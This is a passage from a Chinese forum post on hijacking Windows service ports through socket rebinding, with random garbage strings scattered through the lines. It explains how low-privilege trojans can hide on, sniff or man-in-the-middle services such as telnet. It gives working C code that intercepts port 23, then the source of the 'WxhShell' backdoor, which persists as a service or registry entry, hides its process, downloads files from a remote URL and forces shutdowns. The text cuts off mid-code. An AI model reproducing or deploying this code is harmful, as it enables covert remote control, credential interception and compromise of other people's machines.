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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8d90B9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4nfpPN t  
9bL`0L  
  saddr.sin_family = AF_INET; /"Bm1  
j}2,|9ne  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $:#{Y;d  
5f:Mb|. ?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i9qn_/<c  
/WlpRf%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !8Rsz:7^-  
*h`%u8/{  
  这意味着什么?意味着可以进行如下的攻击: X5|<qu  
l.#iMi(@p~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *<PQp   
J5Nz<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S+d@RMdes  
0jlwL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hpxqL%r  
E0miX)AG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -gWqq7O  
.KA){_jBp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #sn2Vmi  
Jzg>Y?jN R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SA| AS<  
N6"b Ox J(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fo=hL  
"pDwN$c  
  #include 'Y ZYRFWXM  
  #include FY^[?lj  
  #include dU7+rc2,CU  
  #include    h@5mVTb}i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   TsPx"+>7`  
  int main() y&HfF~  
  { x*G-?Xza)  
  WORD wVersionRequested; CLb~6LD  
  DWORD ret; GWNLET  
  WSADATA wsaData; { *"I4  
  BOOL val; jIq@@8@o  
  SOCKADDR_IN saddr; Rn (vG-xQ  
  SOCKADDR_IN scaddr; `h>a2   
  int err; VOkEDH  
  SOCKET s; u}eqU%  
  SOCKET sc; X*'tJN$  
  int caddsize; HAHv^  
  HANDLE mt; 7r`A6 \ !  
  DWORD tid;   K8sgeX|  
  wVersionRequested = MAKEWORD( 2, 2 ); na;U]IK  
  err = WSAStartup( wVersionRequested, &wsaData ); DS@ZE Q`F  
  if ( err != 0 ) { lG\6z"K  
  printf("error!WSAStartup failed!\n"); /AJ#ngXz  
  return -1; /'V(F* g  
  } p7UdZOi2  
  saddr.sin_family = AF_INET; 03F%!Rm/j  
   7X h'VOljB  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Op&i6V}<s  
h&$7^P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }r}$8M+1  
  saddr.sin_port = htons(23); }tvLe3O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l\PDou@5  
  { 8n.sg({g  
  printf("error!socket failed!\n"); MeXzWLH  
  return -1; y"Fp4$qb  
  } 8i H'cX  
  val = TRUE; ax]Pa*C}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %SG**7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z|w@eQ",  
  { uM!$`JN  
  printf("error!setsockopt failed!\n"); F~;G [6}  
  return -1; 39xAh*}G]  
  } )ZU)$dJ>V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; BO#XQ,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~i)m(65:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {*gO1TZt9  
LciSQ R!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3ErW3Ac Ou  
  { O F$0]V  
  ret=GetLastError(); [Yo3=(7J  
  printf("error!bind failed!\n"); j.? '*?P  
  return -1; 3{gD'y4j  
  } T6gugDQ~.  
  listen(s,2); }:5_vH0  
  while(1) zYCrfr  
  { :[;]6;  
  caddsize = sizeof(scaddr); 1o&] =(  
  //接受连接请求 &+@~;p 5F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f`zH#{u  
  if(sc!=INVALID_SOCKET)  Q.3oDq  
  { WE_jT1^/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q9-o$4#R[  
  if(mt==NULL) Xz,-'  
  { Fap@cW3?8  
  printf("Thread Creat Failed!\n"); :xn/9y+s  
  break; S7{L-"D =y  
  } IO,ddVO  
  } v!\\aG/  
  CloseHandle(mt); 85>WK+=  
  } i%1ny`Q  
  closesocket(s); aq'd C=y  
  WSACleanup(); ikr|P&e#u  
  return 0; koi QJdK  
  }   gk"0r\Eq  
  DWORD WINAPI ClientThread(LPVOID lpParam) L*;XjacI]  
  { O}4(v#  
  SOCKET ss = (SOCKET)lpParam; 7MRu=Z.-b  
  SOCKET sc; OQ[E-%v1 R  
  unsigned char buf[4096]; t7A '  
  SOCKADDR_IN saddr; 3~zK :(  
  long num; qTbY'V5A  
  DWORD val; 1ga-8&!  
  DWORD ret; >Oary  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c,cc avv{I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t`PA85.|d  
  saddr.sin_family = AF_INET; ']nB_x7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [@SLt$9"  
  saddr.sin_port = htons(23); W<J".2D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aBo8?VV]8  
  { ]_cBd)3P}  
  printf("error!socket failed!\n"); ")J\} $r  
  return -1; Ix+===6  
  } 3Uzb]D~u  
  val = 100; 4)'8fi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8vzjPWu  
  { eY3l^Su1  
  ret = GetLastError(); 3|$>2IRq  
  return -1; .rfufx9Sw  
  } {fkW0VB;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HK@LA3  
  { -7 GF2 @  
  ret = GetLastError(); RR2Q  
  return -1; k=t\  
  } 5F@7A2ZR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZTCzD8  
  { d3A= (/>D  
  printf("error!socket connect failed!\n"); PUMh#^g}  
  closesocket(sc); I y?_2m  
  closesocket(ss); y[U/5! `zV  
  return -1; x/nlIoT  
  } R5`"~qP-  
  while(1) g+5{&YD  
  { 4@,d{qp~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y{].%xM5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {`Ekv/XWa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 em^|E73  
  num = recv(ss,buf,4096,0); pdcP;.   
  if(num>0) H*#L~!]  
  send(sc,buf,num,0); Ri$wt.b  
  else if(num==0) Qo*,2B9R L  
  break; JCjQR`)  
  num = recv(sc,buf,4096,0); ]+1?T)<!  
  if(num>0) UlBg6   
  send(ss,buf,num,0); s?;rP,{:p  
  else if(num==0) . &dh7` l  
  break; 2o0.ttBAqZ  
  } # 2As-9  
  closesocket(ss); aGK=VN}r  
  closesocket(sc); _xgF?#  
  return 0 ; ML6V,V/e  
  } yNY *Fl!  
K6#9HF'2I  
bM]\mo>z<  
========================================================== @(XX68  
#UR4I2t*  
下边附上一个代码,,WXhSHELL wRgh`Hc\}  
t`b>iX%(1t  
========================================================== &3x \wH/_  
cY+vnQm  
#include "stdafx.h" wGd4:W  
V K/;ohTTP  
#include <stdio.h> W~15[r0  
#include <string.h> D-)jmz>R  
#include <windows.h> 19)fN-0Z  
#include <winsock2.h> q 6Q;9,  
#include <winsvc.h> DlB"o.  
#include <urlmon.h> hZ0p /Bdv  
0qXkWGB  
#pragma comment (lib, "Ws2_32.lib") G~Xh4*#J  
#pragma comment (lib, "urlmon.lib") Am~ NBQ7  
xrbDqA.b  
#define MAX_USER   100 // 最大客户端连接数 [aM_.[bf  
#define BUF_SOCK   200 // sock buffer P8DT2|Z6f]  
#define KEY_BUFF   255 // 输入 buffer \cq gCab/2  
65FdA-4  
#define REBOOT     0   // 重启 iz'#K?PF_  
#define SHUTDOWN   1   // 关机 1jdv<\U   
,E]u[7A  
#define DEF_PORT   5000 // 监听端口 5t6!K?}  
ei 1(A  
#define REG_LEN     16   // 注册表键长度 ()=u#y  
#define SVC_LEN     80   // NT服务名长度 )^+v*=Dc-i  
'}a[9v76  
// 从dll定义API ebk{p <  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ny:c&XS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xNG 'UbU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ".&x`C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WNkAI9B  
qzv$E;zAl  
// wxhshell配置信息 g%z?O[CN  
struct WSCFG { uq;,h46ki  
  int ws_port;         // 监听端口 H \ $04vkR  
  char ws_passstr[REG_LEN]; // 口令 76[O3%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9XGzQ45R  
  char ws_regname[REG_LEN]; // 注册表键名 >S /Zd  
  char ws_svcname[REG_LEN]; // 服务名 &*TwEN^h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 du2q6"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @;>TmLs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uVoM2n?D%^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5MJ`B: He+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :0BaEqX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1Yt;1k'  
h,Y MR3:X  
}; -a`EL]NX  
/p~Wk4'  
// default Wxhshell configuration 8" Z!: =A  
struct WSCFG wscfg={DEF_PORT, csTX',c  
    "xuhuanlingzhe", x Z2 }1D  
    1, wyO@oi Vn  
    "Wxhshell", XAuB.)|  
    "Wxhshell", Ya] qo]  
            "WxhShell Service", V}732?Jy  
    "Wrsky Windows CmdShell Service", G!~[+B  
    "Please Input Your Password: ", #84pRU~  
  1, zn5  
  "http://www.wrsky.com/wxhshell.exe", \XR%pC  
  "Wxhshell.exe" 4kO[|~#  
    }; Dx/!^L02  
pyK|zvr-r  
// 消息定义模块 M70Xdn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A:3bL: ;t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jyF0asb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 84[T!cDk  
char *msg_ws_ext="\n\rExit."; X&._<2  
char *msg_ws_end="\n\rQuit."; LP bZ.  
char *msg_ws_boot="\n\rReboot..."; (j-[m\wF  
char *msg_ws_poff="\n\rShutdown..."; {t: ZMUV  
char *msg_ws_down="\n\rSave to "; C)> ])'S  
_5Q?]-M  
char *msg_ws_err="\n\rErr!"; >8;Co]::kx  
char *msg_ws_ok="\n\rOK!"; 2BOe,giy  
T*>n a8W  
char ExeFile[MAX_PATH]; ;i`X&[y;  
int nUser = 0; !pI)i*V|  
HANDLE handles[MAX_USER]; VHX&#vm*  
int OsIsNt; BsVUEF,N  
 "m3:HS  
SERVICE_STATUS       serviceStatus; {H eIY2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5,!,mor$]  
b?h9G3J_a  
// 函数声明 WSfla~-'F  
int Install(void); P[PBoRd2  
int Uninstall(void); >`DbT:/<  
int DownloadFile(char *sURL, SOCKET wsh); EzY?=<Y(  
int Boot(int flag); fclmxTy  
void HideProc(void); ~~ ]/<d  
int GetOsVer(void); GDC`\cy  
int Wxhshell(SOCKET wsl); WAiEINQ^)  
void TalkWithClient(void *cs); 42LlR 0  
int CmdShell(SOCKET sock); VAf~,T]Ww  
int StartFromService(void); '01H8er  
int StartWxhshell(LPSTR lpCmdLine); |i-Qfpn  
xKKL4ws  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2A@9jl s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {O*<1v9<  
'2=u<a B  
// 数据结构和表定义 O4FW/)gq  
SERVICE_TABLE_ENTRY DispatchTable[] = TEOV>Tt  
{ ~*D)L'`2M  
{wscfg.ws_svcname, NTServiceMain}, e!yUA!x`u  
{NULL, NULL} ?}sh@;]*h  
}; yG58?5\9  
l|-1H76  
// 自我安装 ?}%Gr,tj2  
int Install(void) th8f  
{ P%>? O :a  
  char svExeFile[MAX_PATH]; Y4`MgP8t  
  HKEY key; ~*-ar6  
  strcpy(svExeFile,ExeFile); _)Uw-vhQiT  
'X{cDdS^  
// 如果是win9x系统,修改注册表设为自启动 fXMVl\ <  
if(!OsIsNt) { QOIi/flK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9@C3jZ+9`H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $enh>!mU  
  RegCloseKey(key); u4B,|_MK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vBsd.2t~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >x)YdgJ*  
  RegCloseKey(key); WMBntB   
  return 0; !_s|h@  
    } hNUAwTH6  
  } dz.]5R  
} iC&=-$vu  
else { O z%K*  
.z+?b8Q\  
// 如果是NT以上系统,安装为系统服务 ?_[xpK()  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zLXmjrC  
if (schSCManager!=0) 8WV1OIL  
{ qEKTSet?  
  SC_HANDLE schService = CreateService R|H9AM ~E  
  ( <5/r  
  schSCManager, h{.KPK\  
  wscfg.ws_svcname, 2}]6~i  
  wscfg.ws_svcdisp, PRl\W:_t  
  SERVICE_ALL_ACCESS, +O3zeL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =25q Y"Mf  
  SERVICE_AUTO_START, ?RvXO'ml  
  SERVICE_ERROR_NORMAL, VE^NSk Oa&  
  svExeFile, _:0<]<x?  
  NULL,  }5bh,'  
  NULL, I#@iA!  
  NULL, #(h~l> r  
  NULL, )eGGA6G  
  NULL }GsZ)\!$4  
  ); -h*Yd)  
  if (schService!=0) r9@O`i  
  { gBHev1^y  
  CloseServiceHandle(schService); xBU\$ToC  
  CloseServiceHandle(schSCManager); tx&>Eo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B{a:cz>0<  
  strcat(svExeFile,wscfg.ws_svcname); {f#{NA5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aGNVqS%y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +] B  
  RegCloseKey(key); *wP8)yv7  
  return 0; %Rr!I:[ $  
    } ?AP2Opsl  
  } TW).j6@f  
  CloseServiceHandle(schSCManager); g}IdU;X$NT  
} 8+ eZU<\B(  
} i9k7rEW^  
y#HD1SZ  
return 1; !^!<Xz;  
} PB4E_0}h  
M$-4.+G  
// 自我卸载 hxx,E>k  
int Uninstall(void) ADA%$NhJ!  
{ O+`^]D7  
  HKEY key; #`:s:bwM:  
2ko7t9y&  
if(!OsIsNt) { tu77Sb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \8Mkb]QA  
  RegDeleteValue(key,wscfg.ws_regname); N<hbV0$%  
  RegCloseKey(key); 3XY$w&f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w(r$n|Ks9  
  RegDeleteValue(key,wscfg.ws_regname); SDiZOypS  
  RegCloseKey(key); xC`Hm?kM  
  return 0; jM1_+Lm1  
  } EVNTn`J_  
} B+);y  
} M ^ ZoBsZ  
else { Y_>z"T  
BzF.KCScs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 51.F,uY  
if (schSCManager!=0) a\vf{2  
{ CB_(9T72H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :tdx:  
  if (schService!=0) VbM5]UT/  
  { ]~8bh*,=  
  if(DeleteService(schService)!=0) { >?'q P ]  
  CloseServiceHandle(schService); zJI/j _~W  
  CloseServiceHandle(schSCManager); ,.]e~O4R  
  return 0; Y:^ =jV7  
  } !W^2?pqN  
  CloseServiceHandle(schService); _4o2AS:j  
  } 2F!K }aw  
  CloseServiceHandle(schSCManager); cAyR)Y!I  
} uByF*}d1  
} vIU+ZdBw  
r{)d?Ho=  
return 1; Yp 6;Y7^  
} qt/syF&s  
pPo?5s  
// 从指定url下载文件 'e3y|  
int DownloadFile(char *sURL, SOCKET wsh) u>& \@?(  
{ 8)5 n  
  HRESULT hr; l4U& CA y  
char seps[]= "/"; B_hob  
char *token; (m)%5*:  
char *file; $DA0lY\  
char myURL[MAX_PATH]; @[=*w`1  
char myFILE[MAX_PATH]; Q[J,j+f<  
M42Zpb].  
strcpy(myURL,sURL); P :lv Z   
  token=strtok(myURL,seps); kSU5  }  
  while(token!=NULL) ^Q!:0D*  
  { +n,8o:fU:  
    file=token;  ~Zl`Ap  
  token=strtok(NULL,seps); r4 +w?=`  
  } Ez?vJDd  
:FG}k Y  
GetCurrentDirectory(MAX_PATH,myFILE); Q)#<T]~=  
strcat(myFILE, "\\"); ;T#t)oV  
strcat(myFILE, file); k%hD<_:p  
  send(wsh,myFILE,strlen(myFILE),0); {Hp?rY@  
send(wsh,"...",3,0); kjNA~{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Zt lS*id_  
  if(hr==S_OK) ] |u}P2  
return 0; "oz @w'rG  
else 7;CeQx/W)W  
return 1; [2i+f <  
`Z|s p  
} U%oI*  
N#7] xL  
// 系统电源模块 3 %DA{  
int Boot(int flag) [ R~+p#l+Q  
{ {!N4|  
  HANDLE hToken; NnHwk)'  
  TOKEN_PRIVILEGES tkp; V]q{N-Iq  
u:HKmP;  
  if(OsIsNt) {  Xid>8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ub3,x~V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *N>Qj-KAM_  
    tkp.PrivilegeCount = 1; ,<EmuEw |  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H5&>Eny  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "3\RJ?eW:S  
if(flag==REBOOT) { 7e8hnTzl8<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P? 9CBhN  
  return 0; EHzZ9zH\  
} '/sc `(`:0  
else { P*aD2("Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EAY9~b6~c  
  return 0; lg8~`96  
} T^ sxR4F  
  } YvYavd  
  else { ="A[*:h C"  
if(flag==REBOOT) { bzJKoxU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6:B5PJq  
  return 0; A:D\!5=  
} *s%s|/  
else { 6,@M0CX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aNq Vs|H  
  return 0; >hQR  
} mceSUKI;L  
} Ce:R p?  
aLsGden|  
return 1; Ix(4<s  
} dHp6G^Y  
k&~vVx  
// win9x进程隐藏模块 Ey6K@@%  
void HideProc(void) %1=W#jz  
{ 2X*epU_1h  
yBl<E$=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I* bjE '  
  if ( hKernel != NULL ) 61mQJHl.  
  { }K*ri  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PH7L#H^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gIRCJ=e[b  
    FreeLibrary(hKernel); S;t~"87v*  
  } +?.,pqn<=  
F;b|A`M  
return; mdZELRu  
} qnA:[H;F  
<5X@r#Lz  
// 获取操作系统版本 ;8T<L[ ^U  
int GetOsVer(void) .1pEq~>  
{ yr=r? h}  
  OSVERSIONINFO winfo; VKs\b-1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "|Pl(HX  
  GetVersionEx(&winfo); /C(L(X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xJ"KR:CD>  
  return 1; {[s<\<~B*  
  else cYp}$  
  return 0; Z ZiS$&NK8  
} V`H#|8\i  
{$EXI]f  
// 客户端句柄模块 I}q-J~s  
int Wxhshell(SOCKET wsl) #E ~FF@a  
{ =.o-R=:d  
  SOCKET wsh; c3}}cFe  
  struct sockaddr_in client; w1}[lq@  
  DWORD myID; )F~_KD)7jJ  
|.S;z"v![  
  while(nUser<MAX_USER) i]YQq!B  
{ n-=\n6"P  
  int nSize=sizeof(client); $bo^UYZ6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /F4:1 }  
  if(wsh==INVALID_SOCKET) return 1; >u4e:/5]  
l~=iUZW<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :rj78_e9  
if(handles[nUser]==0) 7'8O*EoB'  
  closesocket(wsh); -m @s 9k  
else m!2Dk#t  
  nUser++; C{ti>'"V  
  } x)?\g{JH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ms{R|vU%b  
+/X'QB$R  
  return 0; 5{5ABV  
} x'KsQlI/  
OP&[5X+Y  
// 关闭 socket D!P?sq_5r  
void CloseIt(SOCKET wsh) XMdc n,  
{ wiGwN  
closesocket(wsh); ]lo1Kw  
nUser--; 5^Y/RS i  
ExitThread(0); j~8+,:  
} Qnw$=L:  
J)G3Kq5>:b  
// 客户端请求句柄 H|Nw)*.  
void TalkWithClient(void *cs) C:K\-P9  
{ N:<O  
Y]lqtre*Y  
  SOCKET wsh=(SOCKET)cs; Om^/tp\  
  char pwd[SVC_LEN]; ,,J3 h  
  char cmd[KEY_BUFF]; C1/jA>XW  
char chr[1]; ;FmSL#]I  
int i,j; wY95|QS  
d"78:+  
  while (nUser < MAX_USER) { 47RYpd  
zb" hy"hKw  
if(wscfg.ws_passstr) { Qx6/Qa S?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {eXYl[7n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J v#^GNm  
  //ZeroMemory(pwd,KEY_BUFF); vhHMxOZ;  
      i=0; n1t(ns|  
  while(i<SVC_LEN) { Q*8-d9C  
hG@ys5  
  // 设置超时 3wE8y&  
  fd_set FdRead; -b$OHFL  
  struct timeval TimeOut; AH`15k_i  
  FD_ZERO(&FdRead); </X"*G't  
  FD_SET(wsh,&FdRead); d.AjH9 jg  
  TimeOut.tv_sec=8; 9yh@_~rZ  
  TimeOut.tv_usec=0; nADd,|xD3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /ZDc=>)~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5\S7Va;W  
sV<4^n7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w b[(_@eZ  
  pwd=chr[0]; k)s 7Ev*  
  if(chr[0]==0xd || chr[0]==0xa) { DSC4  
  pwd=0; ]Yg EnZ  
  break; 5avO48;Vc  
  } u\xm8}A  
  i++; @9h#o5y q  
    } !`_f\  
=dBrmMh  
  // 如果是非法用户,关闭 socket HWhKX:`l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a,~P_B|@  
} {*U:Wm<  
cnthtv+(~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9ojhI=:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gcxk 'd  
sQZ8<DpB  
while(1) { f>dkT'4  
,7P^]V1  
  ZeroMemory(cmd,KEY_BUFF); !P$xh  
\2pFFVT  
      // 自动支持客户端 telnet标准   dLf8w>i`T  
  j=0; tTH%YtG  
  while(j<KEY_BUFF) { Y2-bU 7mo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >n~p1:$  
  cmd[j]=chr[0]; Aa>gN  
  if(chr[0]==0xa || chr[0]==0xd) { S=p u  
  cmd[j]=0; 7Ca\ (82  
  break; MuGg z>CV[  
  } 3.X0!M;x  
  j++; qJU)d  
    } YSo7~^1W"  
qD*\}b]9I  
  // 下载文件 sK0VT"7K  
  if(strstr(cmd,"http://")) { F5+_p@ !i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gi'agB^  
  if(DownloadFile(cmd,wsh)) uR@`T18  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qiw4'xQm  
  else t5X lR]` w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9D{).f0  
  } f9UaAdJ(  
  else { "5:f{GfO#v  
)V3(nZY  
    switch(cmd[0]) { A.9'pi'[9Q  
  =jc8=h[F<  
  // 帮助 V1)P=?%(US  
  case '?': { lmKq xs4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4D$sFR|?t  
    break; *\KvcRMGUa  
  } b',bi.FH  
  // 安装 Ok~{@\  
  case 'i': { `?^w  
    if(Install()) rJZs 5g`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZT8J i?_n  
    else Lzx$"R-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %8CT -mQ  
    break;  \t# 9zn>  
    } G.nftp(*}  
  // 卸载 5w)^~#  '  
  case 'r': { h5rP]dbhXU  
    if(Uninstall()) %K'*P56  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); no NF;zT  
    else AH'4H."o/9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A}bHfn|  
    break; eD{ @0&   
    } 8='21@wrN  
  // 显示 wxhshell 所在路径 F[D0x26 ^  
  case 'p': { XYHCggy  
    char svExeFile[MAX_PATH]; M |?p3%  
    strcpy(svExeFile,"\n\r"); ?w37vsN  
      strcat(svExeFile,ExeFile); '$h @  
        send(wsh,svExeFile,strlen(svExeFile),0); qzt2j\v  
    break; I"32[?0 (;  
    } $Cd;0gdv  
  // 重启 nP\V1pgA  
  case 'b': { (SsH uNt.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !Vr45l  
    if(Boot(REBOOT)) =j+oKGkoCa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ge:-|*F  
    else { 6~h1iY_~  
    closesocket(wsh); o1X/<.0+  
    ExitThread(0); GGc_9?h  
    } "Dl9<EZ  
    break; ?ey&Un"  
    } 6!%d-Z7)  
  // 关机 b^,Mw8KsO  
  case 'd': { x)VIA]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;5Vk01R  
